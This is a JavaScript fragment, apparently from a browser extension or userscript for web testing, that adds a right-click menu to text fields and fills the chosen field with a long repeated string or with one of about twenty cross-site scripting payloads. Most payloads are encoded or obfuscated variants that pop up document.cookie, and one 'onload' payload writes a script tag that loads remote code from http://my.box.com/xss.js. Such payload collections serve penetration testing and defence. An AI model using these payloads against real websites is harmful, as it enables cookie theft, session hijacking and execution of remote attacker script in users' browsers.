|
btr.onmousedownSelectElement = function(e){ |
|
e = e || window.event; |
|
btr.selectElement = e.target || e.srcElement; |
|
}; |
|
|
|
var onmousedown = function(el){ |
|
el.setAttribute('onmousedown', 'btr.onmousedownSelectElement(arguments[0])'); |
|
}; |
|
|
|
Array.prototype.forEach.call(document.querySelectorAll('textarea'), onmousedown); |
|
Array.prototype.forEach.call(document.querySelectorAll('input'), onmousedown); |
|
|
|
btr.contextMenu(['textarea', 'input'], { |
|
getUnbrokenString: function(e){ |
|
var getUnbrokenString = function(str, len){ |
|
var unbrokenString = str; |
|
var value = ''; |
|
for (var i =0;i<Number(len);i++){ |
|
value = value + unbrokenString; |
|
} |
|
return value; |
|
}; |
|
btr.selectElement.value = getUnbrokenString(prompt('string'), prompt('number')); |
|
}, |
|
XSS: { |
|
'simple alert': function(){ |
|
btr.selectElement.value = '\\\\\';alert(document.cookie);//'; |
|
}, |
|
'img' : function(){ |
|
btr.selectElement.value = '<img src=asdf onerror=alert(document.cookie)>'; |
|
}, |
|
'onload': function(){ |
|
btr.selectElement.value = '%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E'; |
|
}, |
|
'script1': function(){ |
|
btr.selectElement.value = '“><s”%2b”cript>alert(document.cookie)</script>'; |
|
}, |
|
'script2': function(){ |
|
btr.selectElement.value = '%253cscript%253ealert(document.cookie)%253c/script%253e'; |
|
}, |
|
'script3': function(){ |
|
btr.selectElement.value = '“><script >alert(document.cookie)</script>'; |
|
}, |
|
'iframe': function(){ |
|
btr.selectElement.value = '<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>'; |
|
}, |
|
'frame': function(){ |
|
btr.selectElement.value = '<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>'; |
|
}, |
|
'body': function(){ |
|
btr.selectElement.value = '<BODY BACKGROUND="javascript:alert(\'XSS\')">'; |
|
}, |
|
'iframe2': function(){ |
|
btr.selectElement.value = '"><iframe src=google.de></iframe>'; |
|
}, |
|
'body2': function(){ |
|
btr.selectElement.value = '<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert("XSS")>'; |
|
}, |
|
'img2': function(){ |
|
btr.selectElement.value = 'perl -e \'print "<IMG SRC=java\\0script:alert(\\"XSS\\")>";\' > out'; |
|
}, |
|
'img3': function(){ |
|
btr.selectElement.value = '<IMG SRC="jav ascript:alert(\'XSS\');">'; |
|
}, |
|
'img4': function(){ |
|
btr.selectElement.value = '<IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041>'; |
|
}, |
|
'img5': function(){ |
|
btr.selectElement.value = '<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>'; |
|
}, |
|
'img6': function(){ |
|
btr.selectElement.value = '<IMG """><SCRIPT>alert("XSS")</SCRIPT>">'; |
|
}, |
|
'img7': function(){ |
|
btr.selectElement.value = '<IMG SRC=javascript:alert(\'XSS\')>'; |
|
}, |
|
'img8': function(){ |
|
btr.selectElement.value = '<IMG SRC="javascript:alert(\'XSS\');">'; |
|
}, |
|
'ml': function(){ |
|
btr.selectElement.value = '\'\';!--"<XSS>=&amp;{()}'; |
|
}, |
|
'script4': function(){ |
|
btr.selectElement.value = '\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'; |
|
} |
|
} |
|
}); |